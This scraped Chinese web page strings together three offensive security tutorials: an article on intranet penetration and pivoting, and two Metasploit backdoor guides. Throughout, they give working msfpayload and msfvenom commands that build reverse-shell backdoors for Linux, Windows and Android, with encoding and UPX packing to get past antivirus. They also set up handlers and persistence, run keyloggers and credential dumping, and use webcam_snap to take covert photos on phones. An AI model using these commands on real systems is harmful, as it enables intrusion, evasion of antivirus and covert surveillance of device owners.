当前位置： && 知识详情
内网渗透随想
阅读：33432次
0x00 前言之前看到微博有人私信我说内网渗透的技巧，zone也有很多小伙伴问了一些内网渗透的问题，所以我就斗胆写了这篇文章，有不对的，还请各位斧正整个内网渗透肯定不是一篇两篇文章能够讲述清楚的，所以标题写作随想，想到哪儿写哪儿0x01 内网代理和转发＊简单区分一下正向代理和反向代理1.1 正向代理(Forward Proxy)Lhost－－》proxy－－》RhostLhost为了访问到Rhost，向proxy发送了一个请求并且指定目标是Rhost，然后proxy向Rhost转交请求并将获得的内容返回给Lhost，简单来说正向代理就是proxy代替了我们去访问Rhost。1.2 反向代理（reverse proxy）Lhost&---&proxy&---&firewall&---&Rhost和正向代理相反（废话），Lhost只向proxy发送普通的请求，具体让他转到哪里，proxy自己判断，然后将返回的数据递交回来，这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透1.3 简单区分正向代理是我们自己(Lhost)戴套(proxy)插进去，反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)zone里有人问了如何代理进行内网渗透的问题诚然，要进行内网渗透，代理是我们最先需要解决的问题，常见的代理方式大概可以分为这么几种：2. VPN隧道／SSH隧道这种代理方式需要比较高的权限(system/root)直接使用系统功能来开启内网代理的隧道，配置VPN都比较简单，这里不做赘述，我们看一看通过SSH隧道进行代理ssh&-qTfnN&-L&port:host:hostport&-l&user&remote_ip&&&#正向隧道，监听本地port
ssh&-qTfnN&-R&port:host:hostport&-l&user&remote_ip&&&#反向隧道，用于内网穿透防火墙限制之类
SSH&-qTfnN&-D&port&remotehost&&&#直接进行socks代理
参数详解：
-q&Quiet&mode.&安静模式
-T&Disable&pseudo-tty&allocation.&不占用&shell&了
-f&Requests&ssh&to&go&to&background&just&before&command&execution.&后台运行，并推荐加上&-n&参数
-N&Do&not&execute&a&remote&command.&不执行远程命令，端口转发就用它了～有时候，我们手边没有端口转发的工具，也可以通过ssh来做端口转发ssh&-CfNg&-L&port1:127.0.0.1:port2&user@host&&&&#本地转发
ssh&-CfNg&-R&port2:127.0.0.1:port1&user@host&&&&#远程转发大家可以参考这篇paper，非常棒3. 通过HTTP service的代理简单来说就是在目标服务器上传一个webshell，通过shell来做所有的流量转发到内网，常见的几个工具有reGeorg，meterpreter，tunna等等，甚至直接写一个简单的代理脚本，在自己机器上配置一下nginx直接进行反向代理自带的说明已经很清楚了** Note, if you tools, such as NMap doesn't support socks proxies, use [proxychains] (see wiki)Step 3.&Hack the planet :)Step 1.&Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)Step 2.&Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py注意安装urllib3即可（regeorg很方便，我基本都用这个）meterpretermsf非常强大，在进行内网渗透的时候不失为一个好的选择，要用它进行代理，可以直接生成一个可执行文件后门，然后返回meterpreter，也可以生成一个webshell来返回meterpreter，关于meterpreter，Dm老师已经说的非常清楚了3.1 windows生成后门msfpayload&windows/meterpreter/reverse_tcp&LHOST=&Your&IP&Address&&LPORT=&Your&Port&to&Connect&On&&X&&&shell.exe3.2 Linux生成后门msfpayload&linux/x86/meterpreter/reverse_tcp&LHOST=&Your&IP&Address&&LPORT=&Your&Port&to&Connect&On&&R&|&msfencode&-t&elf&-o&shell3.3 php后门msfpayload&php/meterpreter/reverse_tcp&LHOST=&Your&IP&Address&&LPORT=&Your&Port&to&Connect&On&&R&|&msfencode&-e&php/base64(可简单编码)&-t&raw&-o&base64php.php如果单纯只是想要进行简单的代理工作，auxiliary/server/socks4a模块即可获得meterpreter会话后，就是msf尽情施展的时候了，最常用的办法，添加路由表后，直接在会话中用msf的各种攻击模块进行扫描（注意，这里是可以进行跨网段扫描的）这里讲到meterpreter所以多说一句，之前说的ssh隧道，如果嫌命令难得记，也可以简单的通过msf来建立tunnelload&meta_ssh
use&multi/ssh/login_password
设置好参数后exploit即可获取会话进行代理操作直接通过webshell和nginx反向代理4. other trickspython，ruby，perl等直接建立socks连接lcx，tunna，htran等等进行端口流量转发shadowsocks，tor，goagent等等直接现成的小东西：（一次比赛的时候死猫跟我推荐的）正向代理，反弹socks5均可0x02 内网环境探测和信息收集因为一个完整的渗透很难涵盖各种情况，所以这里讲的可能比较散，基本都是一些小技巧和思路Nmap代理扫描进行主机发现proxychains nmap ＊＊＊如果是meterpreter会话进行的代理，可直接通过/usr/share/metasploit-framework/modules/auxiliary/scanner脚本来扫描即可查看hosts获取内网主机信息直接攻击网段路由或交换机，简单绘制内网的结构（我在中就是获取了cisco路由的privilege15权限，得到了内网结构，进一步进行跨vlan攻击）多尝试交换机snmp弱口令，一旦成功，内网结构清晰关于snmp渗透使用了snmp管理的设备，只需要community string即可，所以针对这个string爆破或者社工都是可行的，默认public/private首先进行161端口扫描，发现snmp开放情况，通过弱口令查看设备信息，在oid中读取设备密码例子：可以通过这个nmap和msf脚本进行自动攻击尝试从主机的用户目录或者管理运维邮箱寻找敏感信息(某次渗透即是keylogger运维后在测试机桌面获取到拓扑和网段)通过resolv.conf找到内网dns服务器，或者字典穷举dns注意分析用户的.bash_history，一般可以分析出用户的使用习惯，纪录等,获取~/.shh/，尝试配合history的连接纪录直接通过密钥登陆其他机器0x03 内网渗透的常见攻击技巧通过之前的信息收集和探测，判断出主要的业务机器，如OA，dbserver，利用ssh信任，连入机器后导出员工的userlist，做成针对性的字典，大部分内网的安全性都是脆弱的，且最容易出问题的就是口令安全（大公司也不例外）%username%1%username%12%username%123%username%1234%username%12345%username%123456主要对ssh,dbserver,vnc,ftp进行爆破对开了web service的server进行常规渗透，有可以减少工作量的办法就是先对机器批量识别banner，通过banner判断出cms或中间件，直接利用exp中间人攻击常用ettercap，不建议做arp的mitm，可以尝试dhcp mitm或者icmp mitm也可以猥琐一点，劫持插件，攻击网关，或者利用evilgrade去伪造软件更新(如notepad++)，然后捆绑上后门，直接打下工作机器，进入办公网简单配置后用msf生成后门，start即可配合ettercap使用伪造软件更新了常见服务漏洞攻击smb/ms08067/ipc$/NetBIOS…………但是在针对这些比较古老的漏洞攻击时，很可能有AV拦截，所以在不同场景遇到的坑都不一样比如之前在西电DM牛告诉我，有AV，如果直接利用psexec返回会话，即会拦截，这时就可以利用powershell来bypass AV0x04 后渗透准备和扩大战果一次完美的内网渗透肯定不是能够一次性完成的，因为整个过程需要管理员的&配合&（口胡。。。）所以后渗透准备时很有必要的1. 后门准备msf的后门已经不错，只需要稍加改造就能很好满足我们的需求普通msfpayload生成的后门不是持续性的，不利于我们下次继续工作，所以需要一个持续性后门msf的持续性后门有两种，通过服务启动(metsvc)和通过启动项启动(persistence)通过服务的后门有个弊端，服务名称是meterpreter，利用方式是： 上传后门，通过metsvc安装服务meterpreter&&&run&metsvc
...(设定端口，并且上传后门文件)
use&exploit/multi/handler
set&PAYLOAD&windows/metsvc_bind_tcp
exploitmeterpreter&&&run&persistence&-X&-i&10&-p&port&-r&hostip
use&multi/handler
set&PAYLOAD&windows/meterpreter/reverse_tcp
exploit当然，直接生成的后门有可能会被杀，所以这里我推荐一个很不错的工具，，之前再一次小型apt中用这个生成了的后门直接bypass了360通过启动项的利用方式：linux下有两个常用的后门mafix rookit和Cymothoa，后者听说可以克隆root用户，不过大部分的backdoor基本都相当于一个加密nc，会新开端口，所以如果webshell存活，可以直接考虑用webshell维持权限2. 键盘记录keylogger在内网渗透过程中（尤其是比较大的内网），起到很关键的作用，因为搞定一个密码，有可能就搞定了一个网段是我常用的一个，linux&=2.63均可使用或者使用meterpreter会话的自带键盘记录功能keyscan_start
keyscan_dump用meterpreter有个好处，就是在win中可以做内存注入，不会创建进程这里说一个小tips，如果觉得keylogger动作大，可以进系统后把一些你需要的管理工具，如navicat，putty，PLSQL，SecureCRT之类全部选成记住密码3. hashmimikatz，不用多说，利用meterpreter可以直接load模块Quarks PwDumpwce0x05 something else内网渗透涉及的面很广，本文主要说到的是一些很简单的问题和常规的思路尚未谈到的&域渗透&打印机&办公网嗅探&入侵日志清理等等如果有机会，日后慢慢补全
本文转载自 redrain@乌云知识库
参与讨论，请先
安全播报APP
Copyright & 360网络攻防实验室 All Rights Reserved 京ICP证080047号[京ICP备号-6][8.13]metasploit后门渗透技术测试(linux(centos&6.8)、windows(xpsp3)、安卓)
测试在自主设备环境下进行，请勿用于任何未授权网络和设备。
一、测试linux后门
1、生成后门程序。
metasploit
4.2版本，使用msfpayload生成后门程序，使用msfencode对后门进行二次编码防杀。
生成后门并使用msfencode&shikata_ga_nai编码程序对后门程序再编码。
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162
LPORT=8090 R | msfencode -t elf -e x86/shikata_ga_nai -c 3
&-o /root/testtest
使用模块&linux/x86/meterpreter/reverse_tcp
&可以实现在32位linux系统上反弹TCP会话
LHOST=192.168.250.162 &
反弹连接到metasploit攻击主机的IP地址
LPORT=8090 &&反弹连接到metasploit攻击主机的TCP端口号
-t elf &编码生成的文件类型
-e x86/shikata_ga_nai &使用的编码方式
-c 3 &重复封装编码3次
-o /root/testtest 输出后门文件到/root目录下，文件名testtest
操作如下图：
如果不做二次编码防杀可以直接用msfpayload生成后门程序，命令：
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162
LPORT=8090 X & testtest
2、在metasploit攻击主机上开启监听
msfconsole进入控制台后命令：
msf & use exploit/multi/handler&
msf &exploit(handler) & set LHOST
192.168.250.162
msf &exploit(handler) & set LPORT
msf &exploit(handler) & set PAYLOAD
linux/x86/meterpreter/reverse_tcp&
msf &exploit(handler) &
操作如下图：
3、在目标主机上修改后门程序的执行权限为777并运行后门
4、攻击主机上获取到反弹TCP会话，linux主机已拿下
meterpreter反弹会话的后续利用详见之前的博文。
在较新版本的metasploit中，msfpayload和msfencode已经被取消，功能合并为msfvenom
使用msfvenom创建后门达到相同效果的命令为：
msfvenom -a x86 --platform linux&-p
linux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162 LPORT=8090
-e x86/shikata_ga_nai& -i&
3& -f elf & testtest
-a& x86& 32位
--platform& linux 后门程序运行的平台
linux/x86/meterpreter/reverse_tcp&&
使用的payload模块
-e x86/shikata_ga_nai& -i&
3& 使用shikata编码方式，编码3次。
-f elf 输出后门程序格式
二、windows 后门
1、创建windows后门，在较新版本的metasploit中，msfpayload和msfencode已经被取消，功能合并为msfvenom，使用msfvenom创建一个.exe格式的windows后门程序并使用shikata编码三次，再使用UPX加壳（防杀）
msfvenom -a x86
--platform&win&-p
windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=8090 -e
x86/shikata_ga_nai& -i&
3& -f&exe & testtest.exe
加壳：upx& -6&
testtest.exe
操作如下图：
2、开msfconsole挂起监听等待反弹连接
3、在目标机上运行后门程序，回弹会话成功，拿下目标主机
三、安卓后门
1、创建安卓后门
msfvenom& -p&
android/meterpreter/reverse_tcp&
LHOST=192.168.1.106& LPORT=8090&
R & testtest.apk
生成.apk的安卓安装包文件。
2、metasploit开启监听
3、安卓设备上安装testtest.apk软件包后桌面多出一个MainActivity的软件
点击运行，后回弹会话，拿下目标安卓手机：
除了拿shell等系统渗透操作外，我们可以用webcam_list命令看一下目标安卓手机上有几个摄像头
再用webcam_snap调用目标安卓手机上的摄像头隐秘拍照，拍照的照片传回到我们攻击主机上。
要用哪个摄像头拍照就是webcam_snap -i& [摄像头编号]\
操作如下图：
以上是使用metasploit对三大主流系统的后门测试，最让我吃惊的是安卓后门在手机上从安装到运行到反弹被控制的整个操作过程中，手机上的好几款安全软件居然都没有任何反应和风险提示......，好吧......说手机比电脑安全的，你的依据是否足够给力。
技术视频及更多精彩内容，请访问博主技术视频自媒体频道：
----------------------------------------------------------------------------------------------------------
更多精彩的本人原创网络技术教学视频和工具资料请关注微信公众号“一网无前学网络”，互动交流，共同进步，每天进步一点点！使用微信扫一扫功能，扫描以下微信二维码关注公众号：
已投稿到：
以上网友发言只代表其个人观点，不代表新浪网的观点或立场。meterpreter学习笔记--后门4windows无免杀
废话不多说，开始吧~
root@SS:~# msfpayload
& & Usage:
/opt/metasploit/apps/pro/msf3/msfpayload [] [var=val]
&[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]&
available payloads
root@SS:~# msfpayload
windows/meterpreter/reverse_tcp O
&Name: Windows Meterpreter (Reflective Injection),
Reverse TCP Stager
payload/windows/meterpreter/reverse_tcp
& &Platform: Windows
&Arch: x86
Needs Admin: No
&Total size: 290
&Rank: Normal
Provided by:
Basic options:
&Current Setting &Required
&Description
&--------------- &--------
&-----------
EXITFUNC &process &
& Exit technique: seh, thread, process, none
LHOST & & &
& & The listen address
LPORT & & 4444
& & & The listen
Description:
& Connect back to the attacker, Inject the
meterpreter server DLL via&
& the Reflective Dll Injection payload
root@SS:~# msfpayload
windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 X &
/tmp/test.exe
Created by msfpayload ().
Payload: windows/meterpreter/reverse_tcp
&Length: 290
Options: {"LHOST"=&"x.x.x.x", "LPORT"=&"4444"}
root@SS:~# file
/tmp/test.exe
/tmp/test.exe: PE32 executable (GUI) Intel 80386, for MS
root@SS:~#&
至此后门生成成功~
接着我们就要把exe文件发送给另一台主机~运行之后进行监听
root@SevenSeas:~# msfconsole
& ######## & &
& & #################
&###################### &
######################### & &
############################
&##############################
&###############################
& ###############################
& ##############################
& &######## &
& ### & ###
& & & ####
&########## & ####
& &#######################
&#################### &
################## &####
& ############ &
& & &########
& & ######### &
& & &#####
& ############ &
&######## & &
&#########
& &##### &
& & ########
& & ###### &
&############
& &#######################
& ### &# & #
& &########################
& ## & ## &
& & http://metasploit.pro
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit
-- type 'go_pro' to launch it now.
&=[ metasploit v4.7.0- [core:4.7
+ -- --=[ 1161 exploits - 641 auxiliary - 180 post
+ -- --=[ 310 payloads - 30 encoders - 8 nops
exploit/multi/handler
msf exploit(handler) & set windows/meterpreter/reverse_tcp
LHOST=x.x.x.x&LPORT=4444
windows/meterpreter/reverse_tcp =& LHOST=x.x.x.x&LPORT=4444
msf exploit(handler) & exploit
[*] Started reverse handler on
x.x.x.x:4444&
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to x.x.x.x
[*] Meterpreter session 1 opened (x.x.x.x:4444
-&&x.x.x.x:42482) at
meterpreter & execute -f cmd.exe -i
Process 18496 created.
Channel 1 created.
Microsoft Windows [汾 6.1.7601]
&(c) 2009 Microsoft Corporation
C:\Windows\system32&
不过杀软会报...其他功能在过杀软之后再说-O-嗯，就是介个样纸.
以上网友发言只代表其个人观点，不代表新浪网的观点或立场。}